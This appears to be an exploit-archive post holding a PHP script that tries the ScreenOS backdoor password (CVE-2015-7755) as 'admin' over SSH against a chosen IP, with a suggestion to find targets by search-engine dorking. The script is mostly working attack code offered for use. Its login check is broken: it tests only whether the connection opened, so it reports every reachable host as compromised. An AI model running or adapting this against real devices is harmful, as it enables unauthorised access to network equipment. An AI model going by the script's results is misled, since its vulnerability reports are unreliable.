=============================================================================================================================================
| # Title     : Juniper ScreenOS 6.2.0r15 PHP Backdoor Scanner                                                                              |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
| # Vendor    : https://www.juniper.net/us/en.html                                                                                          |
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] Code Description: Performs backdoor scanning on Juniper devices via SSH .

    The code is now written in PHP and is able to scan devices for the Juniper SSH Backdoor vulnerability in the same way the original code in Metasploit does.

    If the code is able to log in using the vulnerability data, it reports the compromised device.

    The code runs on any IP you specify when running.
	
	 ( Related : https://packetstorm.news/files/id/181226/  Related CVE Numbers: CVE-2015-7755 )
	
[+] save code as poc.php.

[+] Set Target : line 40

[+] USage : php poc.php 

[+] PayLoad :

<?php

class JuniperSSHScanner {
    private $rport;
    private $sshTimeout;
    private $sshDebug;

    public function __construct($rport = 22, $sshTimeout = 10, $sshDebug = false) {
        $this->rport = $rport;
        $this->sshTimeout = $sshTimeout;
        $this->sshDebug = $sshDebug;
    }

    public function runHost($ip) {
        $username = 'admin';
        $password = "<<< %s(un='%s') = %u";

        $connection = @ssh2_connect($ip, $this->rport);
        if (!$connection) {
            echo "[-] فشل الاتصال بـ $ip:$this->rport \n";
            return;
        }

        ssh2_auth_password($connection, $username, $password);
        if ($connection) {
            echo "[+] تم تسجيل الدخول باستخدام الحساب الخلفي على $ip:$this->rport \n";
            $this->reportVuln($ip);
        } else {
            echo "[-] فشل تسجيل الدخول بـ backdoor على $ip:$this->rport \n";
        }
    }

    private function reportVuln($ip) {
        echo "[*] النظام $ip يحتوي على الثغرة المكتشفة!\n";
    }
}

// تشغيل الفحص
$scanner = new JuniperSSHScanner();
$scanner->runHost('192.168.1.1');



Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================